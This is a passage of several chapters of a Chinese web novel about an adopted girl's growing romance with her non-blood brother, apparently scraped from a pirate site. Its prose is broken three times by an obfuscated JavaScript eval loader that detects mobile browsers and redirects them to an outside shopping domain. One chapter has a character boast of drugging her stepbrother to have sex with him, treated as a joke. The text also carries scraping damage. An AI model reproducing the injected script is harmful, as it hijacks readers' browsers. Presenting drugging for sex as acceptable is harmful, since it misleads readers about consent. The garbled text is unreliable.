她暗自瞥了那一直握着她手的人，他双眼半眯，并无任何被拒绝的恼怒，而且看起来他好像…… 早就知道大哥会拒绝。 所以他才故意表现出一副高兴的样子？ 是了。 如果他提出不同意，肯定会引起施柔的怀疑。 大哥这一番站在顾家利益，有理有据的发言，让一桌子的人都安静了下来，除了顾城眉头紧锁，其他人表情都淡淡的，连提出这个建议的施柔也不例外。 顾星沉望着自己的父亲，“爸妈喜爱宝玥，想送资产交给我办就行，户口不是问题。” 施柔也望向顾城，商量的口吻问道：“星沉说得有道理，这事我们还是再想想？” 顾城拍着腿叹了口气，“其他的确不是问题，就是这家族信托，不能落户就不能享受。” 他似突然想到什么，“哎，星沉，要不你看看能不能让赵律改下条款？” 施柔眼里闪过一抹意味不明的笑。 就在这时，沉默着欣赏了一出戏的宝玥赶紧摆手，露出一副惶恐不安的模样，“不用，不用这么麻烦了，顾叔叔，这些礼物实在太贵重了，我受不起。” 顾城：“好孩子，你怎么能这样想？” 宝玥无视顾星河放在她腿上使劲的手，“今天正好说到这事，我也想和你们沟通下，其实我……打算这几年读完书就离开顾家。” 一石激起千层。 这回，所有人的脸上都是真实的惊讶，“你打算离开顾家？” 宝玥点点头，把早已准备好的话搬了出来，“谢谢叔叔阿姨的厚爱，抚养了我17年，按理说我成年后就不该享受这些了，但大家对我很照顾，一直资助我到现在，我打算本科毕业后出国留学，我想……去探索另一种生活方式。” 顾星河的唇角还保持着微笑的弧度，但笑意已淡，他直直地望着她，“你怎么没和我说过这些……你要出国？要离开顾家？” 后面几个字被他咬得重，似乎到了咬牙切齿的程度。 宝玥强撑着镇定，只朝他点了点头，就飞快把目光挪走了。 顾城：“好孩子，是不是这些年，我们一直没认你，你感到委屈了？” 施柔：“是啊，怎么这么突然？” 就连顾星沉眼里也闪过一丝异色。 宝玥摇了摇头。 经历过那次团队的事件后，她现在发言的胆量大了不少，起码能完整地表达出自己的想法，不再因为紧张而语无伦次。 “我不委屈，这事我已经考虑了一段时间，只是还没找到合适的机会告诉你们，我真的感谢顾家给了我这么好的条件，不仅让我不愁吃穿，还特别感谢二哥对我的帮助，不然我绝对考不上这么好的专业……” “两位哥哥都是我的榜样，我也想像他们一样在各自领域成为优秀的人，所以我想要离开顾家，去外面闯一闯。” 顾城听了半晌，蓦地笑了，“好好好，叔叔支持你的想法，亲人之间不谈钱，你想去闯就去闯，我们还是你的后盾。” 这番话很难让人反驳，他们虽然没答应她离开，但也没再提认亲的事。 她也知道这事一次成功不了，真正难说服的不是叔叔阿姨，而顾星河。 他从最开始问了一句话后，就一反常态地沉默到了饭局结束。 果然从顾家离开，他的笑容就消失得彻底，浓密的长睫毛垂了下来，投下的阴影覆盖了眼里的情绪，她只能看见一汪深潭似的眼眸。 “什么时候决定出国的？” 他的语气极淡，听不出任何情绪。 他是个很能控制情绪的人，大多时候都以微笑示人，能让他笑都不笑了，那她所见的表面淡然，实则可能已经快触到情绪爆发点了。 宝玥哄他哄出经验了，立马先道歉稳住他的情绪，“最近。” 他的目光落在茶几的小摆件上，“现在的玥玥就好像这个俄罗斯套娃，怎么小秘密这么多，哥哥拆了一个又一个，这两个月给了哥哥多少惊喜？” 客厅的灯光照在他的双手上，冷白色的手背薄得就像一层脆弱的蜡纸要被底下暴起的青筋撑破，他突然转身握住了她的肩，宝玥浑身绷紧下意识要挣脱，只见他的眼角突然红了，眼底浮起悲伤。 她怔住了。 他的视线牢牢锁定着她，低声询问道：“是不是我哪里做得不好？因为有几天没及时回复你的消息吗？还是周三那天没有煮你想吃的燕麦？有两日太忙了没有亲自给你送午饭？要么是这几天生理期我没照顾好？……” 他就像设计严密的程序，在运行失败后开启了自我检测，试图自我纠正。 只是他脱口而出这一桩桩事，宝玥根本没记住细节。 他有没及时回她消息的时候吗？不记得了。 好像是有那么一天，她随口问了一句怎么没燕麦。 午饭？他不送的那几天，她还挺开心的。 …… 见她毫无反应，顾星河似乎有点着急了，轻轻晃了下她的双肩，“到底是哪里做得不好，可不可以告诉我？是我的错，是我错了，连玥玥为什么生气都不知道，是我太笨了。” 宝玥从未见他这样苦恼过，哪怕难倒一众教授的研究难题都未必难倒他，竟然在她面前说自己笨，她都不知道该怎么办了，她尝试用温和的语气表达自己的想法，“哥没有哪里做得不好，但这和我想出国没关系。” 他只听到了前半句，还在自我反省着，“是觉得我太烦人，让你感到窒息？还是因为我想要你的爱，觉得压力大？” 宝玥眸光闪动，她没说话在他眼里就是默认。 他松开了她的肩膀，将她的双手放在自己掌心包裹，“对不起，玥玥，我的本意不是想让你感到压力，如果爱是一种负担，你可以不爱，这不影响我对你的好，就算没别的关系，我们也是亲人对不对，哥哥疼爱妹妹是不会求回报的，我只是想一直待在妹妹身边而已。” 见她面露难色，他着急道：“你看，不管是你现在准备比赛，还是以后要读研读博，总是很忙碌，哥哥可以帮你做家务，给你洗衣服做饭，打扫房间，你只需要专注你想专注的事，这样不好吗？我们以前不一直是这样相处的吗？” “我答应给你空间，只在你需要我的时候出现，你不想见我，我绝对不会擅自出现，可以吗？” 宝玥就像是被粘稠的蜜糖包裹着，甜到心坎，也黏得无法动弹。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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后来，她听到了外面的传闻，怀疑她是顾叔叔的私生女。 施柔没有像对待外面那些私生子一样对待她，只是因为没有找到确凿的证据。 但从那日起，她不再天真烂漫，变得谨小慎微，开始学会察言观色。 她害怕别人对她的看法，不想被人讨厌，一旦被讨厌了，她又要变成孤儿了。 不管在顾家，还是在学校，一点点传闻都让她草木皆兵。 这种情况到了青春期，变得更加严重。 直到哥哥们18岁那天，二哥以上学方便为由，提出要带她搬到学校附近。 原本以为这不过是一桩小事，却没想到引起父母强烈的反对，温婉端庄的施柔甚至打了他一巴掌。 二哥性格温柔，从不与人起冲突，对父母更是孝顺有加，绝对不可能干出顶撞父母的事，宝玥不知道那天他们到底说什么，那是她记忆里二哥唯一一次挨打。 那张白皙干净的脸蛋印着触目惊心的巴掌印，还有指甲刮出的血珠子。 她心疼地一边哭，一边给他上药。 这件事怎么解决的，她不清楚，只记得搬家那天，施柔站在门口目送他们，看她的目光多了几分幽怨。 二哥却掰过她的脸蛋，阻断了视线交流，“不想见的人就不见，不高兴就直说，不用顾及对方的身份。” 他当时还说了一句，“哥哥永远是你的底气。” 宝玥从梦里醒来时，顾星河的话还回响在耳边。 哥哥永远是她的底气。 可是，如果哥哥不是哥哥呢？ 她和顾星河是两个世界的人，这根本就是一场没有结果的错误，顾家甚至会认为她别有用心。 顾家怎么会允许兄妹乱-伦的丑闻发生？ 一想到顾家的地位，顾家的权势，她就分外不安。 这一切如场大梦后，醒后是一片荒芜的贫瘠。 顾家的一切，对她而言，虚幻且危险。 19. 第 19 章 宝玥在拒绝顾家认亲后，也不再回应搭讪她的少爷公子。 生活终于恢复了平静。 大学的第一个暑假过得十分充实。 她每天泡在实验室调试机器人，遇到不会的问题就各种在网上找视频，一边自学一边实践，每次的成功都带来巨大的成就感。 每天都在实验室里调试机器人，这次改造虽然辛苦，但过程比上次顺利，宝玥更是觉得自己编程水平大幅上升，为了解决千奇百怪的问题，她各种在网上找视频，一边自学一边实践。 顾星河还是会给她送饭，只是经过上次谈话后，频次从天天降到了经常。 这天，他来时，她的队友们殷勤地围了过来，拐弯抹角地提出想去参观元序科技的机器人。 前几日某明星演唱会上，元序机器人伴舞炸场，动作比真人伴舞还要丝滑，要不是现场有8万双眼睛共睹，大家都要认为是AI合成。 更有网友调侃，“跳了十几年机械舞才发现，机器人一点也不卡。” 顾星河露出随和的笑容，“这有什么难的？公司就在马路对面，你们想看，约个时间一起来。” 一群男生瞬间变成尖叫鸡，“要来要来！今天可以吗！太想近距离观摩下了！” 顾星河笑吟吟着，不摆架子，“当然可以。” “谢谢，谢谢谢谢！” “学长你太好了！” …… 看到队员们激动的模样，宝玥无奈。 他总能轻而易举地博得别人好感。 于是，团队6人下午全去了元序科技，不仅参观到了机器人，还和研发同事进行了交流，陈牧还把最近团队遇到的一些难题抛了出去，真是一点学习机会也不放过。 顾星河作为老板，有他要忙的事，陪了一小会儿就走开了，临走前悄悄挽了下宝玥的胳膊，“等会别走，和我一起吃晚饭，好不好？” 他低着头，垂着浓密的睫毛，眼尾上挑着看她，在笑，也在讨好她。 看着不远处的同学们，她点头道：“好吧。” 他这才心满意足地离开，过了一会儿，元宝吧嗒吧嗒地走过来。 “你好！宝玥！” 这一次它从兜里抓出来的不是大白兔奶糖，而是一张红钞票折得爱心。 元宝的精细动作又进化了。 …… 蓦地，大门传来一道冷傲的女声，“顾星河，你打算什么时候请我吃饭？” 宝玥愣了下，循声见一位盘发戴簪，身着马面裙的美人站在前台打电话。 不是她好奇，实在是…… 头一次见有女生用这种语气和二哥说话。 她听到前台叫她颜小姐。 颜家。 宝玥立马就反应过来这位是谁了。 竟然直接来公司堵人。 一股酸涩感涌上心头。 恍惚间，她听到陈牧的声音，“宝玥，我们回校了，一起走吗？” 她又看了眼颜小姐，她已经在窗边的椅子坐下。 “……好。” 路过她面前时，她看清了她的模样。 不仅身材好，连五官都生得极好，是绝对客观的大美人，气质清冷古典，很难不注意到，就连她同学也好奇地低声问道：“宝玥，那是你哥的女朋友吗？” 宝玥心不在焉道：“我不知道。” 陈牧瞥了她一眼，按住那个还想八卦的男生，“赶紧走。” 回到学校正好是饭点，大家直奔食堂，宝玥买了一份冷面，刚坐下，对面也放下了一盘冷面。 她抬头一看，陈牧推了下眼镜，“不介意我坐你对面吧？” “不会，你不和他们一起吗？” “还没吃过冷面，好吃吗？” “……还行。” “你这是加的麻酱吗？” “对。” 宝玥有一搭没一搭地回他的话，吃面的速度渐渐加快。 陈牧忽然离开，过了一会拿了两碗汤过来，递了一碗给她。 “谢谢。” “不客气。” 他又开始时不时地问问题，宝玥感觉到尴尬，怎么尽是些莫名其妙的问题，他突然说道：“你……最近有空吗？” 宝玥眨了眨眼，“……又要赶进度？” 陈牧轻咳了一声，“不是，我想请你吃饭。” 见她眼睛忽然瞪大，他忙补道，“没别的意思，就是之前的事，还没和你道歉过，就当我赔罪。” “这样啊，那还是不要了，就我们俩孤男寡女的，吃饭多奇怪。” “……” “玥玥。” 熟悉的声音在身后响起，宝玥以为幻听，转过头就见那不该出现的人站在落日的余晖里。 夕阳穿透玻璃窗照在他身上，像是镀了层暖绒的光。 他走近几步，微笑地问她，“吃完了吗？” 他的手按在她的小臂上，看似轻柔的动作，实则足以将她整个人从座位上拧了起来。 在陈牧诧异的目光下，顾星河将她拉出了食堂。 “哥，哥……” 宝玥低声抗拒了几声无效，又怕闹出动静让人看笑话，只能跟着他走，“你干嘛？” 一路走到了食堂外的情人坡，顾星河才松开她，“为什么和别的男生一起吃饭？” 本来没什么，但被他一提，宝玥反而来了情绪，“你都可以和别人吃饭，我为什么不能？” 顾星河不解，“我和谁吃饭了？让你等我一会，你就自己跑了，消息不回，电话不接，我去了你的实验室，问了你的同学才知道你来食堂吃饭。” 宝玥这才注意到他脖颈冷白的皮肤泛着红光，还渗透出细腻的汗珠，不知道是走了多少路，她别扭地挪开眼，“你不是和颜小姐去吃饭了吗？” “谁？”顾星河迟疑了下，才想到什么，“你说颜清月？你在公司看到她了？” “对啊，她都到公司找你吃饭了，我听得一清二楚，我走的时候，她就坐在前台等你……”她说着说着，被顾星河怪异的眼神盯得发虚，“干嘛这样看我？” 他此时的双眸如秋水潋滟，笑了出来，“所以，你以为我和她去吃饭，为了气我才和别的男生吃饭？” 宝玥窘迫极了，大声辩解道：“我才没那么无聊！” 顾星河费了些劲才压住翘起的唇角，怕自己得意忘形的模样惹恼她，忙牵起她的手，“不是你想得那样，跟我来。” 她又被拖走了。 这回到了闻野的桌游吧。 “哎呀，什么风把你们俩吹来了？” 闻野打着耳钉，戴着项圈，再配上这乖张的笑，活脱脱一个纨绔的模样。 宝玥关心了声，“闻野哥，你的伤痊愈了吗？” 闻野笑道：“早好了，小伤，所以你们是来玩的？” 顾星河拉着宝玥坐了下来，“去，打电话把你姐叫来。” 提到姐这字，闻野脸色立马变了，“顾星河，你是不是见不得我好？” 顾星河：“去。” 闻野恶狠狠地瞪了他一眼，乖乖打电话去了。 宝玥一脸莫名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929179|192165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其妙，“哥你带我来这做什么？” 顾星河往她嘴里塞了一颗薄荷糖，“一会你就知道了。” 叫闻野的姐姐来，就知道了吗？ 难道…… 十多分钟后，宝玥再次见到那位清冷美女，这会儿的脸更冷了，和冰块似的，踩着高跟鞋进来，甩手就给了闻野一巴掌，“闻野，你是不是有病，一天不打我电话会死？” 宝玥吓得缩了下。 顾星河顺势把人揽到怀里，胸膛一阵剧烈的震动，他笑出声，“看到了么，这就是施女士眼里贤良淑德的世家女。” 宝玥：“……” 听到他的声音，颜清月才注意到这儿还坐了两个看戏的人，“什么意思？” 平日里拽得二五八万的人，这会儿被打得一声不敢吭，低声下气地说道：“姐，我听话着，这次真不是我找你，是他！” 顾星河瞥了眼宝玥的神色，笑着说道：“你下午来公司找我，让我妹妹误会了，还以为我要给她找嫂子呢……” 闻野啊了一声，“这么荒唐？” 顾星河耸下肩，“你也知道施女士做的事。” 闻野立马和宝玥保证道：“没有的事！宝玥妹妹，绝对没有的事！我姐怎么可能和他有一腿！你要不信，我可以证明给你看……” 宝玥还想好奇怎么证明，就见他搂着颜清月直接亲了一口，然后又得了一巴掌，他还贱嗖嗖地舔舔唇，“这下两边均匀了，姐对我真好。” 离谱的是颜清月虽然冷脸打人，但竟然没反驳，只是对着宝玥冷笑了下，“小妹妹，少和这些男人玩，会变坏。” 显然，这些男人包括了顾星河。 宝玥还是头一次听别人说他坏。 顾星河起身道：“别吓我妹妹，行吧，感谢二位帮忙，今晚我请大家吃饭。” 离开时，宝玥还没从这种匪夷所思的情况中清醒过来，“颜清月和闻野有血缘关系吗？” 顾星河：“没有血缘关系，颜清月的叔叔和闻野的妈妈在一起，算堂姐弟吧。” 宝玥：“施阿姨不知道他们，怎么还让你……” 顾星河笑问：“这是什么光彩的事吗？颜家和闻家都不知道。” 好像也是。 “不说他们了。”顾星河对别人的事并不感兴趣，将她的思绪拉回最初的问题上，“所以，你为什么误会我？” “没有。” “你有，还找别的男生来气我。” “真没有，我们不是一起回来的吗，刚好饭点就一起吃饭了而已。” 顾星河盯着她不说话了。 宝玥在他长时间的注视下，慢慢泄了气，“好吧，是有一点。” 当时看到听到颜清月说和他吃饭的时候，她的确心里很不舒服，然后就离开了。 她的潜意识是不想看到他们一起去吃饭的样子。 顾星河掰过她的脸，夜幕的星光落在他眼里，那是男人看女人的目光，专注且深情，“我不是那种随便的人，从来没和别的女生单独吃过饭，没谈过恋爱，联谊对象更是子虚乌有，我-干干净净的，只属于玥玥一个人，你要信我。” 连语气都像极了男朋友，信誓旦旦地保证，“我也不会故意拿这种事来气你。” 光是这样的注视，就让宝玥的脸颊烧了起来，她不自在地挪开视线，“不要你的保证，我们不是那种关系。” 他喉结滚了下，“那我们变成那种关系好不好？” 宝玥心头一跳，“不行。” 他突然问道，“离开顾家，是不是就行？” 20. [锁] [此章节已锁] 本来以为闻野的事已经够匪夷所思了，没想到还有一个更狂的。 宝玥诧异地看着季行乐，“你说……你把你哥睡了？” 对方得意地扬了扬下巴，“哎呀呀，这回真舒服了，不睡到他，都对不起这五年的流浪受苦。” 她的继兄沈隽墨比顾星沉还大两岁，同样是沈氏集团精心培养的接班人，现在位居沈氏集团总裁，能力很强，为人又周道体贴，是光风霁月的正人君子做派。 这两人要不是父母原因，八竿子都打不到一起，怎么看都觉得沈隽墨不可能干出这种事。 宝玥都不知道该怎么问，“他怎么会……和你……” 季行乐撩了下长发，笑眼明媚，“我给他下药了啊。” 宝玥噎住，“你也太大胆了！不怕闹大吗？” “哎，不可能闹大的，小闹就当情趣，现在怕丢人的是他，可不是我。”她像极了渣男发言，“天下道理都一样，这种人嘛，对自己约束太多，睡睡就老实了，生米煮成熟饭后，不就只能由我拿捏了？” 宝玥没见过比她更张狂的人了，“你不怕两家知道要弄死你啊？” 季大小姐毫不在意，“管他呢，先睡爽了再说，说不定过两年腻了，谁还考虑那么多。” 见到宝玥呆若木鸡的样子，她又哈哈笑了起来，眼里一抹嘲讽的意味，“你信不信，他们真知道了，也只会拼了命帮我捂住？” 顾星河也说过相似的话。 在他的父母、大哥眼里，顾家颜面大于一切。 这既是对他们的约束，也成了他们的保护伞。 所以，闻野、季行乐、顾星河他们才无所忌惮。 宝玥似乎找到了答案，又问道：“你不会觉得是乱-伦吗？你们从小生活在一起……” “瞎说，又没有血缘关系，怎么会是乱-伦，再说那时候我妈和他爸都没领证，现在又分开了，这是青梅竹马！有年龄差的青梅竹马！” 这的确很季大小姐的作风，从小到大，她总能为自己的离经叛道找到恰当的理由，所以她从不纠结。 宝玥默然片刻，终究把心底的疑问抛了出来，“你怎么知道自己对他的感情不是亲情，而是爱情？” 季行乐颇有经验地分享道：“你想象下，如果看到你哥和别的女生亲密，你的心情是怎么样的？你是开心自己有了嫂子，还是感到失落？你问问自己，可以接受他以后给你找个嫂子吗？如果你接受不了，那就是男女之情咯。” 宝玥自动对号入座顾星河和颜清月的事。 当时的情绪明显不对。 失落。 明显的失落。 他们甚至都没有亲密接触。 她就已经受不了了。 季行乐又说道：“你再想，亲情的付出是不求回报，爱情往往希望回应。” 哥哥要真找了嫂子，还会在她需要的时候，随叫随到，还会在她想看一条鲸鱼的时候，带她去看一片大海吗？如果她和嫂子发生了矛盾，他还会坚定不移地维护她吗？ 或是如果这些事都放在了他和嫂子的身上？看着他对别的女生百依百顺，坚定维护…… 不行。 完全不能接受。 哥哥只能疼妹妹啊。 怎么疼别人？ 朦朦胧胧的情愫被季行乐的话一点点抽丝剥茧般地理了出来。 宝玥一会恍惚一会皱眉，陷入自己的沉思中。 肩膀突然被人一拍，她打了个激灵，就见季行乐明媚又肆意的笑容。 “人生苦短，人生苦短，不要瞻前顾后，要及时行乐啊！” 她看了眼外头阴沉沉的天，“你看我们来时，天还很好，这会儿快下雨了，谁知道明天和意外哪个先来呢……你带伞了吗？” 仿佛应验她的话，天空轰隆一声惊雷，真要下雨了。 宝玥哎了一声，“没有。” 这时，手机屏幕一亮。 二哥：【下雨了，我来接你，在门外等你】 季行乐见她盯着手机出神，她瞥了一眼，摇着头感慨，“我哥要什么时候能这么体贴多好？强扭的瓜就是不够甜。” 仿佛被看穿了什么，宝玥羞窘，“你不要乱说。” 季行乐连忙点头，“是是是，走吧！” 两人在门口分别时，闪电划过乌云，果不其然下起了倾盆大雨。 顾星河来接她。 准确地说，他知道她来见季行乐时，他就来了。 只是这一次，他没有破门而入，强行将她带走。 而是在这场雨里耐心地等候着。 直到看见她们出来，他才将车开到门口。 地面溅起一朵朵水花，他撑着伞走过来，看了眼她的皮靴，“哥背你，别弄湿了。” 明明他的皮鞋、裤子，要比她身上的行头昂贵得多，此时已经被雨打湿了。 宝玥扭捏道：“不用了，就几步路……” 他把伞递了过来，“那我抱你也行。” “……” 宝玥伏在他的背上，沉默着为他打伞，进入茫茫的雨幕中。 砸在伞面上的雨点如密集的鼓声。 但他结实的后背温暖又安心。 几步台阶，他走得又稳又快。 是她太纠结了吗？ 那天他问她，离开顾家，是不是就行了？ 是吗？ 她愿意吗？ 不知道从何时起，她已经习惯了他睡在身边，从最初醒来发现枕边人的惊恐到现在的安心。 最近几晚被窝空荡荡，她的心也莫名缺失了一角。 从颜清月的出现开始，她时常会心神不宁，胡思乱想了一些事，全被季行乐说中了。 她单手缠住他的脖颈，轻轻唤了一声，“哥。” 暴雨哗啦啦震耳欲聋。 他却心有灵犀一般，秒回应了一声，“嗯？” 她盯着发丝下若隐若现的耳尖，瓢泼的雨丝化成密密的水珠沾在上方。 她忽然凑上前，亲吻掉雨珠。 顾星河突然松开手，她猝不及防地摔进副驾驶里，雨伞差点刮到他脸上时，他头一歪，伸手牢牢地握紧伞柄，正好将两人一起遮在伞下。 她的双脚还在他的腰上，这姿势实在太…… 她撑着上半身想坐起，但腿被卡在他和门缝之间，“哥……” 这一仰头就看见他的耳朵红了。 那只刚蹬两下的腿突然被他的手按住，他俯下身吻住了她。 乱飞的雨珠、和路人的视线都被伞面阻隔在车外，但阻止不了那要跳出胸腔的心脏。 宝玥忙扯住他的衣领，“快走，走了……” 他沉闷地嗯了一声，呼吸已经乱得不像话。 车辆开到半途，他又停了下来，像只失控的野兽舔吻着她，伴着急促的呼吸和失序的心跳，“可以吗？” 宝玥气息紊乱，“不行，这里不行……” 她双眼迷离，不知道自己说了什么，顾星河却听得明白，“试试。” 车辆在雨中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933474|192165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剧烈地摇晃。 大雨吞没了一切声音。 *** 这突如其来的大雨敲击着书房的窗沿，从未关紧的缝隙中淌落在木地板上。 顾星沉放下手中的笔记本，起身去关窗，突然被暴雨一样的情绪吞噬。 有段时间没有体验了，以至于他懵了一瞬。 情绪来之汹涌，仿若一道明亮的天光穿透滂沱大雨，在眼前乍现，胸腔里如同关着成千上万条小鱼，齐齐跃出了水面，掀起无数串气泡，小小的心脏兜不住这么多的快乐，沸腾着溢满了整个胸腔。 飙升的肾上腺素让他想奔跑，想跳跃，想冲进暴雨里释放着过剩的能量。 真是疯了。 砰—— 高脚杯被捏碎了。 玻璃碎片扎进手中，红酒混着鲜血，滴滴答答地落在棕色木地板上。 *** 盛夏的暴雨来得快，走得也快。 两小时后，雨停了，一道彩虹高悬在明镜似的天上。 车辆从巷子缓缓驶出。 车窗打开，雨后清新的风吹散了浑浊的空气。 宝玥累得虚脱，急需吃点甜食补充能量。 顾星河被哄好时，特别好说话。 她给他和大哥都带一份甜品时，不仅没吃醋，还调侃她，“大哥吃了我们的甜品，以后也要给我们作证，今天是纪念日。” 宝玥羞得没耳朵听，推开他又要亲过来的脸。 衣服下还残留着刚刚疯狂的痕迹，浑身黏糊糊，她抱怨了一声，“下次不准舔。” 一听还有下次这种好事，顾星河答应得极快。 到家后，宝玥单独拿上大哥那份上楼。 二楼只有两间房，一间书房和一间带独立卫浴的卧室，都是顾星沉的区域。 常待的书房没开灯，她直接走到卧室敲门，“大哥，你在吗？” 这一敲，门推开了一道缝，里头只有微弱的灯光。 还没回来吗？ 她转身要走，门缝里传来一声水声。 “大哥？”她又敲了下门，“你在吗？” 很奇怪，怎么又没动静了。 她探了个头进去，才看见卫生间的灯是亮的，但又没有流水的声音，但刚刚分明听到一声水花声。 她感觉不太对劲，又打了一声招呼，“我进来了。” 一直走到卫生间门口，门也没关。 太奇怪了。 她手指放在门上，犹豫着要不要推开，万一看到什么…… 要不还是叫二哥来吧。 哗啦一声，水花溅起的声音吓得她手指一抖，门就这样被推开了。 她下意识要回避，却从指缝里看见顾星沉倒在浴缸里。 “大哥！”她冲过去拽住了他的胳膊，试图将他从水里捞起。 原本晕过去的顾星沉被她一拽，迷糊地睁开了一条眼缝。 高烧已经让他神智不太清醒，骤然看到水面上晃动着妹妹的脸，一时分不清楚是幻象还是现实，他反握住那只拽自己的手，猛地一拉。 宝玥骤然失了重心，一头栽进水中！ 水声在耳边炸开，在翻涌的水波和升起的气泡中，顾星沉的脸在眼前突然放大，近到她在对方瞳孔倒影里看见了自己惊慌失措的表情，近到…… 她的唇瓣滑过冰凉的水质，若有似无地贴到一片有热度的柔软。 啪—— 甜品掉落在地上。 顾星河冲了进来，“玥玥怎么了？” 21. 第 21 章 哗啦一声，水花溅到了地上，浸透了那掉在地上的甜品，奶油糊了一地。 宝玥被顾星河捞了起来，湿漉漉地跌在他身上，呛出两口水，“哥，大哥……他……” 顾星河在她开口前就已经从水底扶起了顾星沉，他高大的身体阻隔了她的视线，“你出去，换衣服。” 她忙道：“要我帮……他晕了……” “不用，你快出去。” 他瞥了眼她湿透的衣衫，阻止她上前一步。 宝玥手忙脚乱地关上门，逃下了楼。 失控的心脏还在狂跳着，大脑一片空白。 没事的，没事的。 那个角度，二哥肯定没看见。 大哥神志不清，应该也没感觉到。 她试图安慰自己。 …… 顾星河将人从浴缸里扶了出来，给他擦干了身子穿上浴袍，放到床上。 虽然从冷水里捞出来的，但他贴在自己身上的肌肤有着不正常的热度。 他拿出体温计给他测量了下。 40.6度 高烧。 他紧急给家庭医生打电话，又下楼去拿退烧药。 宝玥已经换好衣服，只是头发还来不及吹干，关心着大哥，就跟了出来，“大哥怎么样了？” 顾星河拿了药和水，快步上楼，“发高烧了，不知道什么情况，我叫张医生过来了。” 宝玥也跟了上去。 顾星河剥开药片，刚放到顾星沉的嘴边，指尖蓦地顿住。 那因发热而鲜红的下唇有一块不一样的黄色，不是原本的唇色，也不是灯光的阴影，更像是…… 黏了某种食物。 不知怎么，他脑海中掠过妹妹刚刚在车上吃芝士蛋糕的模样，他让她回家吃，她说饿得等不及，像只小仓鼠似的，一口一口咬得很少但很快，腮帮子鼓鼓的，蛋糕上的芝士黏了满嘴。 他忍不住凑上去亲了亲，结果也黏到了他唇上，还是妹妹拿纸巾帮他擦干净的。 他捏着药片的指节开始发白，不由自主地俯身凑近了些。 那的确是融化的芝士。 一股寒意浸透他的躯体，他一脸漠然将药片塞进顾星沉的嘴里，动作是与温柔外表不符的强硬，仿佛放进去的是毒-药。 “哥，水。” 妹妹突然靠近，让他心头一跳，他的身体比他的脑子更快一步做出了反应—— 没有一秒犹豫地将那杯水灌进他嘴里，再借着用纸巾擦干唇上水渍时，将那抹痕迹消除得干干净净。 在她发现之前。 连他都没想到自己第一反应是帮忙遮掩，为了避免让妹妹难堪，更为了避免牵扯进第三人，他甚至可以自欺欺人，什么也没发生。 他说服自己。 这肯定是意外，与妹妹没有关系。 大哥昏迷着，大概率也不知情。 *** 顾星沉的私人医生火急火燎地赶了过来。 宝玥这才知道，大哥竟然不是第一次发烧。 张医生也很焦急，“之前没这么严重，也很快就退了，先送医院吧！” 人还没送进自家的医院，顾家已经在那封-锁-消-息，清理楼层，让所有医生整装待命。 他们和顾城、施柔几乎前后脚同时达到。 看他父母询问张医生情况的焦急模样，宝玥也很意外，她不知道大哥情况也罢了，施柔那么关注大哥，竟然也不知道？ 在得知他早就已经维持这种情况一个月时，施柔的脸上呈现出一种极冷的质感，她没有暴怒，而是用一种淡漠的语气说话，“张医生，请你将我儿子这一个月的情况详细介绍，并且对他所做过的每一项检查做出评估，从现在开始，我会对你说得每一个字，和医院独立报告进行核对。” 张医生汗流浃背，这显然已经将隐瞒不报上升到弄虚作假的罪行上，“夫人，我绝对没有作假……” 施柔叫来张叔，“张叔，请将他的手机、电脑、所有通讯设备暂时保管，在医生诊断出结果之前，请你留在客房好好评估我儿子的情况，为了你的清白着想，请不要试图联系外界。” “另外，通知律师团队过来。” …… 短短数分钟的问责，让宝玥深刻意识到，顾家继承人生病，是一件极其严重的事。 或者说，任何事放在顾星沉身上，都不会是小事。 然而，抽血、B超、核磁共振……几乎所有检查都做了一遍，该排查的问题都排查了，无不显示顾星沉的身体是健康，只是有点虚弱。 “健康？”施柔指了指还躺在床上高烧不醒的儿子，“你们是在和我说笑？” 事实就是这么可笑。 一群专家不行，又换了一群，这家医院不行，又换了一家。 然而，最权威的专家和最先进的仪器都查不出任何问题。 所有负责顾星沉日常的医生、教练、营养师、管家、佣人全部都问过一遍，一无所获。 顾星沉就是在所有人眼皮底下，时不时发高烧，每天烧得时间长短不同，有时1-2小时，有时烧半天，有时是白天，有时是晚上，没有任何规律可言。 一家人急成了热锅上的蚂蚁。 担心他会不会得了什么癌症。 等到顾星沉清醒的时候，医生对他进行详细地问话。 这两日反复的发烧，让他的脸色呈现出病态的苍白，但他的眼神依然平静深沉，“我也不清楚情况。” 宝玥站在旁边，蓦地感到一道若有似无的注视，她以为是施柔，此时所有人注意都在大哥身上。 好奇怪。 顾城和施柔跟着医生一块离开，病房内此时只剩下兄妹三人。 随着关门声落下，病房内一片寂静。 诡异的沉默让气氛变得微妙。 特别是往日最活跃的顾星河，竟然都没有开口。 顾星沉往后靠在枕头上，目光平静地落在二人身上，准确地说，平静地略过顾星河，擦过宝玥的脸。 仅仅就那一瞬的视线触碰，宝玥的脸颊轰地一下煮熟了。 顾星河突然开口道：“你好好休息吧，我送玥玥去学校了。” 他的语气带着自然而然的关切，仿佛没注意到宝玥那红透的脸。 